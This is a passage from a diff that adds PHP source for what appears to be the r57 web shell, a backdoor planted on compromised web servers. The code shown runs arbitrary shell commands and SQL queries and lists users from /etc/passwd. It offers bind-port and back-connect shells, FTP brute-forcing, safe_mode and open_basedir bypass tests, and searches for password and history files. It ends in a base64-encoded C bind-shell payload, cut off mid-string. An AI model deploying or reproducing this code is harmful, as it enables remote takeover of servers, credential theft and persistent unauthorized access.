if(strlen($query)>5) + { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; + switch($sql->query($query)) + { + case '0': + echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; + break; + case '1': + if($sql->get_result()) + { + echo "<table width=100%>"; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns); + echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); + echo '<tr><td><font face=Verdana size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; + } + echo "</table>"; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; + break; + } + } + } + } + } + echo "<br><form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center>"; + echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; + echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(__FILE__); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +$lang=array( +'ru_text1' =>'??????????? ???????', +'ru_text2' =>'?????????? ?????? ?? ???????', +'ru_text3' =>'????????? ???????', +'ru_text4' =>'??????? ??????????', +'ru_text5' =>'???????? ?????? ?? ??????', +'ru_text6' =>'????????? ????', +'ru_text7' =>'??????', +'ru_text8' =>'???????? ?????', +'ru_butt1' =>'?????????', +'ru_butt2' =>'?????????', +'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', +'ru_text10'=>'??????? ????', +'ru_text11'=>'?????? ??? ???????', +'ru_butt3' =>'???????', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-?????', +'ru_text14'=>'????', +'ru_butt4' =>'?????????', +'ru_text15'=>'???????? ?????? ? ?????????? ???????', +'ru_text16'=>'????????????', +'ru_text17'=>'????????? ????', +'ru_text18'=>'????????? ????', +'ru_text19'=>'Exploits', +'ru_text20'=>'????????????', +'ru_text21'=>'????? ???', +'ru_text22'=>'datapipe', +'ru_text23'=>'????????? ????', +'ru_text24'=>'????????? ????', +'ru_text25'=>'????????? ????', +'ru_text26'=>'????????????', +'ru_butt5' =>'?????????', +'ru_text28'=>'?????? ? safe_mode', +'ru_text29'=>'?????? ????????', +'ru_butt6' =>'???????', +'ru_text30'=>'???????? ?????', +'ru_butt7' =>'???????', +'ru_text31'=>'???? ?? ??????', +'ru_text32'=>'?????????? PHP ????', +'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', +'ru_butt8' =>'?????????', +'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', +'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', +'ru_text36'=>'???? . ???????', +'ru_text37'=>'?????', +'ru_text38'=>'??????', +'ru_text39'=>'????', +'ru_text40'=>'???? ??????? ???? ??????', +'ru_butt9' =>'????', +'ru_text41'=>'????????? ? ?????', +'ru_text42'=>'?????????????? ?????', +'ru_text43'=>'????????????? ????', +'ru_butt10'=>'?????????', +'ru_butt11'=>'?????????????', +'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', +'ru_text45'=>'???? ????????', +'ru_text46'=>'???????? phpinfo()', +'ru_text47'=>'???????? ???????? php.ini', +'ru_text48'=>'???????? ????????? ??????', +'ru_text49'=>'???????? ??????? ? ???????', +'ru_text50'=>'?????????? ? ??????????', +'ru_text51'=>'?????????? ? ??????', +'ru_text52'=>'????? ??? ??????', +'ru_text53'=>'?????? ? ?????', +'ru_text54'=>'????? ?????? ? ??????', +'ru_butt12'=>'?????', +'ru_text55'=>'?????? ? ??????', +'ru_text56'=>'?????? ?? ???????', +'ru_text57'=>'???????/??????? ????/??????????', +'ru_text58'=>'???', +'ru_text59'=>'????', +'ru_text60'=>'??????????', +'ru_butt13'=>'???????/???????', +'ru_text61'=>'???? ??????', +'ru_text62'=>'?????????? ???????', +'ru_text63'=>'???? ??????', +'ru_text64'=>'?????????? ???????', +'ru_text65'=>'???????', +'ru_text66'=>'???????', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'???????', +'ru_text69'=>'????????1', +'ru_text70'=>'????????2', +'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", +'ru_text72'=>'????? ??? ??????', +'ru_text73'=>'?????? ? ?????', +'ru_text74'=>'?????? ? ??????', +'ru_text75'=>'* ????? ???????????? ?????????? ?????????', +'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', +'ru_text80'=>'???', +'ru_text81'=>'????', +'ru_text82'=>'???? ??????', +'ru_text83'=>'?????????? SQL ???????', +'ru_text84'=>'SQL ??????', +'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', +'ru_text86'=>'?????????? ????? ? ???????', +'ru_butt14'=>'???????', +'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????', +'ru_text88'=>'FTP-??????:????', +'ru_text89'=>'???? ?? ftp ???????', +'ru_text90'=>'????? ????????', +'ru_text91'=>'???????????? ?', +'ru_text92'=>'??? ?????????', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP-????????', +'ru_text95'=>'?????? ?????????????', +'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', +'ru_text97'=>'????????? ??????????: ', +'ru_text98'=>'??????? ???????????: ', +'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd', +'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', +'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????', +'ru_text102'=>'?????', +'ru_text103'=>'???????? ??????', +'ru_text104'=>'???????? ????? ?? ???????? ????', +'ru_text105'=>'????', +'ru_text106'=>'??', +'ru_text107'=>'????', +'ru_butt15'=>'?????????', +'ru_text108'=>'????? ??????', +'ru_text109'=>'????????', +'ru_text110'=>'??????????', +'ru_text111'=>'SQL-?????? : ????', +'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail', +'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list', +'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body', +'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? compress.zlib:// ? copy()', +'ru_text116'=>'?????????? ????', +'ru_text117'=>'?', +'ru_text118'=>'???? ??????????', +'ru_text119'=>'?? ??????? ??????????? ????', +'ru_err0'=>'??????! ?? ???? ???????? ? ???? ', +'ru_err1'=>'??????! ?? ???? ????????? ???? ', +'ru_err2'=>'??????! ?? ??????? ??????? ', +'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????', +'ru_err4'=>'?????? ??????????? ?? ftp ???????', +'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????', +'ru_err6'=>'??????! ?? ??????? ????????? ??????', +'ru_err7'=>'?????? ??????????', +/* --------------------------------------------------------------- */ +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', +'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()', +'eng_text116'=>'Copy from', +'eng_text117'=>'to', +'eng_text118'=>'File copied', +'eng_text119'=>'Cant copy file', +'eng_err0'=>'Error! Can\'t write in file ', +'eng_err1'=>'Error! Can\'t read file ', +'eng_err2'=>'Error! Can\'t create ', +'eng_err3'=>'Error! Can\'t connect to ftp', +'eng_err4'=>'Error! Can\'t login on ftp server', +'eng_err5'=>'Error! Can\'t change dir on ftp', +'eng_err6'=>'Error! Can\'t sent mail', +'eng_err7'=>'Mail send', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Webdings color=gray>4</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=-2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $unix = 0; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= (!$unix)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +} +function perms($mode) +{ +if (!$GLOBALS['unix']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value,$checked=0) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\""; + if($checked) $ret .= " checked"; + return $ret.">"; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(0); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk 